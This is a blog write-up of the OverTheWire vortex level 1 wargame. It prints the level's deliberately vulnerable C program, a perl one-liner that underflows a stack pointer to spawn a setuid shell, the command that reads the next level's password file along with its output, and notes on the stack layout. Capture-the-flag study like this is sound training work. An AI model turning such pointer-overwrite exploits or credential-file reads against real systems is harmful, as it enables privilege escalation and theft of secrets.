Saturday, June 4, 2011

vortex1

Solution for OTW wargame vortex, level 1

#include 
#include 
#include 
#include 


#define e(); if(((unsigned int)ptr & 0xff000000)==0xca000000) { setresuid(geteuid(), geteuid(), geteuid()); execlp("/bin/sh", "sh", "-i", NULL); }

void print(unsigned char *buf, int len)
{
        int i;

        printf("[ ");
        for(i=0; i < len; i++) printf("%x ", buf[i]); 
        printf(" ]\n");
}

int main()
{
        unsigned char buf[512];
        unsigned char *ptr = buf + (sizeof(buf)/2);
        unsigned int x;

        while((x = getchar()) != EOF) {
                switch(x) {
                        case '\n': print(buf, sizeof(buf)); continue; break;
                        case '\\': ptr--; break; 
                        default: e(); if(ptr > buf + sizeof(buf)) continue; ptr++[0] = x; break;
                }
        }
        printf("All done\n");
}


$ ( perl -e 'print "\\" x 257 . "\xCA!"'; echo \
"cat /etc/vortex_pass/vortex2" ) | /vortex/vortex1
sh-3.2$ 23anbT\rE
sh-3.2$ exit 
  

Notes:
A 512 byte buffer is allocated on the stack. The pointer  ptr initially points right in the middle of the buffer.  Following commands can be input:
  • \ (backslash): decrease ptr by one
  • \n (newline): print buffer content
  • EOF: end execution
  • Any other character:
    • if ptr's value is 0xCA______, execute a shell.
    • while ptr isn't beyond the end of buffer, write the character and increase ptr.

ptr is declared after buf, therefore it is allocated over buf on the stack frame (at a lower memory address). Since there is no lower memory bound check, it is possible to overwrite ptr's value. The idea is to decrease ptr until it points onto itself and then write the value 0xCA.

Here is the memory layout:
lower memory  +-----------------+
addresses     | ptr (4 bytes)   |-----+
              +-----------------+     |
              | buf (512 bytes) |     | ptr points
              |                 |     | somewhere in
              |                 |     | buf
higher memory |                 |     |
addresses     |                 |<----+